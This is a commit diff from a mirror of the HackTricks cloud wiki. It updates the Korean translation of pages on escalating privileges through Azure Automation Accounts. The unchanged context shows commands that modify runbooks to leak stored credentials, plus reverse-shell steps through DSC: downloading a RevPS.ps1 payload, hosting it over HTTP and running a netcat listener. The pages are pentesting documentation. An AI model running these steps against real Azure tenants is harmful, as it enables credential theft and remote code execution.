mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+13
-13
@@ -10,20 +10,20 @@
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
### Hybrid Workers Group
|
||||
|
||||
어떤 식으로든 공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
|
||||
공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
|
||||
|
||||
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **메타데이터 서비스에서 런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
|
||||
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다.**
|
||||
|
||||
> [!TIP]
|
||||
> **메타데이터 서비스**는 자동화 계정의 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
|
||||
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
요약하자면, 이러한 권한은 **자동화 계정에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **자동화 계정의 컨텍스트에서 코드를 실행**하고 할당된 **관리 ID**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 자동화 계정에 저장된 상태로 유출할 수 있습니다.
|
||||
요약하자면, 이러한 권한은 **Automation Account에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account의 컨텍스트에서 코드를 실행하고 할당된 **Managed Identities**에 대한 권한을 상승시키며, Automation Account에 저장된 **자격 증명** 및 **암호화된 변수**를 유출할 수 있습니다.
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 다음을 사용하여 자동화 계정의 런북 코드를 수정할 수 있게 합니다:
|
||||
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 Automation Account에서 런북의 코드를 수정할 수 있게 해줍니다:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -36,7 +36,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
이전 스크립트가 **사용자 이름과 비밀번호**를 유출하고 Automation Account에 저장된 **암호화된 변수**의 값을 가져오는 데 어떻게 사용될 수 있는지 주목하십시오.
|
||||
이전 스크립트를 사용하여 **사용자 이름과 비밀번호**를 **leak**하고 Automation Account에 저장된 **암호화된 변수**의 값을 얻을 수 있음을 주목하십시오.
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다.
|
||||
```bash
|
||||
@@ -80,7 +80,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않음).
|
||||
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다(그리 은밀하지 않음).
|
||||
|
||||
스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다.
|
||||
```bash
|
||||
@@ -194,7 +194,7 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
이것은 자동으로 Github 리포지토리에서 Automation Account로 runbook을 가져오고, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능할 수 있습니다**.
|
||||
이것은 자동으로 Github 저장소에서 Automation Account로 runbook을 가져오고, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능할** 것입니다.
|
||||
|
||||
또한, Automation Accounts에서 소스 제어가 작동하려면 관리되는 ID가 **`Contributor`** 역할을 가져야 하며, 사용자 관리 ID인 경우 MI의 클라이언트 ID는 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 지정되어야 합니다.
|
||||
|
||||
@@ -225,15 +225,15 @@ az rest --method PUT \
|
||||
|
||||
**전체 게시물을 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- 단계 1 — 파일 생성
|
||||
- 1단계 — 파일 생성
|
||||
|
||||
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
|
||||
1. `reverse_shell_config.ps1`: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
|
||||
2. `push_reverse_shell_config.ps1`: 구성을 VM에 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
|
||||
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
|
||||
|
||||
**사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
|
||||
|
||||
- 단계 2 — 구성 파일 압축
|
||||
- 2단계 — 구성 파일 압축
|
||||
|
||||
`reverse_shell_config.ps1`는 `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
|
||||
```powershell
|
||||
@@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- Step 6 — 페이로드 호스팅 및 리스너 설정
|
||||
|
||||
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
|
||||
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -14,39 +14,37 @@ Azure Automation Accounts는 Microsoft Azure의 클라우드 기반 서비스로
|
||||
- **Connections**: 외부 서비스에 대한 **연결 정보**를 저장하는 데 사용됩니다. 여기에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
- **Network Access**: **공개** 또는 **비공개**로 설정할 수 있습니다.
|
||||
|
||||
## Runbooks & Jobs
|
||||
### Runbooks & Jobs
|
||||
|
||||
Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기에서 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다.
|
||||
Azure Automation의 Runbook은 클라우드 환경 내에서 **작업을 자동으로 수행하는 스크립트**입니다. Runbooks는 PowerShell, Python 또는 그래픽 편집기를 사용하여 작성할 수 있습니다. 이들은 VM 관리, 패치 적용 또는 준수 검사와 같은 관리 작업을 자동화하는 데 도움을 줍니다.
|
||||
|
||||
**Runbooks** 내의 **코드**는 **민감한 정보**(예: 자격 증명)를 포함할 수 있습니다.
|
||||
|
||||
`Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**Job은 Runbook 실행의 인스턴스**입니다. Runbook을 실행하면 해당 실행을 추적하기 위해 Job이 생성됩니다. 각 job에는 다음이 포함됩니다:
|
||||
|
||||
- **Status**: 대기 중, 실행 중, 완료, 실패, 일시 중지.
|
||||
- **Output**: Runbook 실행의 결과.
|
||||
- **Start and End Time**: 작업이 시작되고 완료된 시간.
|
||||
|
||||
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**을 포함하고 있으므로 읽어보세요(잠재적인 **민감한 정보**).
|
||||
Job은 **Runbook** 실행의 **출력**을 포함합니다. **jobs**를 **읽을 수** 있다면, **run**의 **출력**(잠재적 **민감한 정보**)을 포함하고 있으므로 읽어보세요.
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Runbook을 실행하는 주요 방법은 3가지입니다:
|
||||
|
||||
- **Schedules**: 특정 **시간** 또는 **간격**에 Runbooks를 **트리거**하는 데 사용됩니다.
|
||||
- **Webhooks**: 외부 서비스에서 Runbooks를 **트리거**하는 데 사용할 수 있는 **HTTP 엔드포인트**입니다. 생성 후 webhook URL은 **보이지 않습니다**.
|
||||
- **Webhooks**: 외부 서비스에서 Runbooks를 **트리거**하는 데 사용할 수 있는 **HTTP 엔드포인트**입니다. 웹훅 URL은 생성 후 **보이지 않습니다**.
|
||||
- **Manual Trigger**: Azure Portal 및 CLI에서 Runbook을 **수동으로 트리거**할 수 있습니다.
|
||||
|
||||
### Source Control
|
||||
|
||||
**Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 Runbooks를 가져올 수 있습니다. 리포지토리의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다.
|
||||
Runbooks를 **Github, Azure Devops (Git) 및 Azure Devops (TFVC)**에서 가져올 수 있습니다. 리포지토리의 Runbooks를 Azure Automation 계정에 게시하도록 지정할 수 있으며, 리포지토리의 변경 사항을 Azure Automation 계정에 **동기화**하도록 지정할 수도 있습니다.
|
||||
|
||||
동기화가 활성화되면 **Github 리포지토리에 webhook이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. webhook URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
동기화가 활성화되면, **Github 리포지토리에서 웹훅이 생성**되어 푸시 이벤트가 발생할 때마다 동기화를 트리거합니다. 웹훅 URL의 예: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
이 웹훅은 **Github 리포지토리에 연결된 runbooks에서 웹훅을 나열할 때 보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 리포지토리 URL을 **변경할 수 없습니다**.
|
||||
이 웹훅은 Github 리포에 연결된 runbooks에서 웹훅을 나열할 때 **보이지 않습니다**. 또한, 생성된 후에는 소스 제어의 리포 URL을 **변경할 수 없습니다**.
|
||||
|
||||
구성된 소스 제어가 작동하려면 **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리 ID를 할당하려면 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 사용자 MI의 클라이언트 ID를 지정해야 합니다.
|
||||
구성된 소스 제어가 작동하려면, **Azure Automation Account**에 **`Contributor`** 역할을 가진 관리 ID(시스템 또는 사용자)가 필요합니다. 또한, Automation Account에 사용자 관리 ID를 할당하려면, 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 사용자 MI의 클라이언트 ID를 지정해야 합니다.
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
@@ -63,19 +61,19 @@ Runbook을 생성할 때 런타임 환경을 선택할 수 있습니다. 기본
|
||||
|
||||
### Hybrid Worker Groups
|
||||
|
||||
Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure 리소스와 관련된 작업에 적합한 Azure에서 관리하는 클라우드 기반 플랫폼입니다. 그러나 이 샌드박스는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약과 같은 한계가 있습니다. 이러한 한계를 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook Worker**로 구성되며, 온프레미스, 다른 클라우드 환경 또는 Azure VM에서 실행될 수 있습니다. 이 설정은 Runbooks가 이러한 머신에서 직접 실행되도록 하여 로컬 리소스에 직접 접근하고, 더 긴 시간과 더 많은 리소스를 소모하는 작업을 실행할 수 있는 유연성을 제공합니다.
|
||||
Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로, Azure에서 관리하는 클라우드 기반 플랫폼으로 Azure 리소스와 관련된 작업에 적합합니다. 그러나 이 샌드박스는 온프레미스 리소스에 대한 제한된 접근 및 실행 시간과 리소스 사용에 대한 제약이 있는 한계가 있습니다. 이러한 한계를 극복하기 위해 하이브리드 작업자 그룹이 사용됩니다. 하이브리드 작업자 그룹은 **자신의 머신에 설치된 하나 이상의 하이브리드 Runbook 작업자**로 구성됩니다. 이 설정을 통해 Runbooks는 이러한 머신에서 직접 실행되어 로컬 리소스에 직접 접근하고, 더 긴 시간 동안 더 많은 리소스를 사용하는 작업을 실행하며, Azure의 즉각적인 범위를 넘어서는 환경과 상호작용할 수 있는 유연성을 제공합니다.
|
||||
|
||||
하이브리드 작업자 그룹을 생성할 때 사용할 **자격 증명**을 지정해야 합니다. 두 가지 옵션이 있습니다:
|
||||
|
||||
- **기본 자격 증명**: 자격 증명을 제공할 필요가 없으며, Runbooks는 **System**으로 VM 내에서 실행됩니다.
|
||||
- **특정 자격 증명**: 자동화 계정 내의 자격 증명 객체의 이름을 제공해야 하며, 이는 **VM 내에서 Runbooks를 실행하는 데 사용됩니다**. 따라서 이 경우, **유효한 자격 증명**을 **훔칠 수** 있습니다.
|
||||
- **특정 자격 증명**: 자동화 계정 내의 자격 증명 객체의 이름을 제공해야 하며, 이는 **VM 내에서 Runbooks를 실행하는 데 사용됩니다**. 따라서 이 경우, **VM에 대한 유효한 자격 증명을 훔칠 수** 있습니다.
|
||||
|
||||
따라서 **Windows Hybrid Worker**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
|
||||
따라서 **하이브리드 작업자**에서 **Runbook**을 실행하도록 선택할 수 있다면, **System**으로 외부 머신 내에서 **임의의 명령**을 실행하게 됩니다(좋은 피벗 기술).
|
||||
|
||||
또한, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되고 있다면, Runbook은 **메타데이터 서비스**에서 Runbook의 관리 ID 및 VM의 모든 관리 ID에 접근할 수 있습니다.
|
||||
또한, 하이브리드 작업자가 Azure에서 다른 관리 ID와 함께 실행되는 경우, Runbook은 **메타데이터 서비스에서 Runbook의 관리 ID 및 VM의 모든 관리 ID에 접근할 수 있습니다**.
|
||||
|
||||
> [!TIP]
|
||||
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있습니다 (**`IDENTITY_ENDPOINT`**).
|
||||
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있음을 기억하세요 (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### State Configuration (SC)
|
||||
|
||||
@@ -84,7 +82,7 @@ Azure Automation에서 Runbooks의 기본 실행 환경은 **Azure Sandbox**로,
|
||||
|
||||
Automation Accounts는 **State Configuration (SC)**도 지원하며, 이는 **VM의 상태를 구성하고 유지**하는 데 도움을 주는 기능입니다. **Windows** 및 **Linux** 머신에 DSC 구성을 **생성**하고 **적용**할 수 있습니다.
|
||||
|
||||
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리 ID로 권한 상승을 가능하게 하며, 잠재적으로 새로운 네트워크로 피벗할 수 있습니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
공격자의 관점에서 이는 **구성된 모든 VM에서 임의의 PS 코드를 실행**할 수 있게 해주어, 이러한 VM의 관리 ID로 권한 상승을 가능하게 하며, 잠재적으로 새로운 네트워크로 피벗할 수 있게 합니다... 또한, 구성에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
|
||||
|
||||
## Enumeration
|
||||
@@ -171,7 +169,7 @@ az rest --method GET \
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
@@ -229,7 +227,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## 권한 상승 및 포스트 익스플로잇
|
||||
## 권한 상승 및 사후 활용
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
|
||||
Reference in New Issue
Block a user